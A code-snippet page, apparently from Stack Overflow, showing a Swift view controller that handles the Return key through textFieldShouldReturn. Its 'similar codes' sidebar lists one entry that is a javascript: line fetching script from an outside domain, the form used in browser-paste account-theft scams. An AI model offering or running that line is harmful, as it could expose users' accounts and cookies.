/Swift/Xcode perform action when return key pressed text field

Xcode perform action when return key pressed text field

class SomeViewControllerClass : UIViewController, UITextFieldDelegate {

    override func viewDidLoad() {
        super.viewDidLoad()

        self.textField.delegate = self
    }

    func textFieldShouldReturn(textField: UITextField) -> Bool {

        //textField code

        textField.resignFirstResponder()  //if desired
        performAction()
        return true
    }

    func performAction() {   
        //action events
    }
}

Source: stackoverflow.com

Similar codes

2 votes188 views1 answer
Save date to userdefaults swift
Swift
1 vote212 views1 answer
Swift corner radious of view controller
Swift
0 vote202 views1 answer
Print 1 line swift
Swift
0 vote220 views1 answer
Bzxjhjgvjgvjgvjv
Swift
0 vote211 views1 answer
How to dismiss a view when touch up inside swift
Swift
0 vote210 views1 answer
Swift reload tableviewcell at index
Swift
0 vote220 views1 answer
Url encode xcode
Swift
1 vote203 views1 answer
Swift get max of two numbers
Swift
1 vote199 views1 answer
Swift open web page
Swift
0 vote208 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
Swift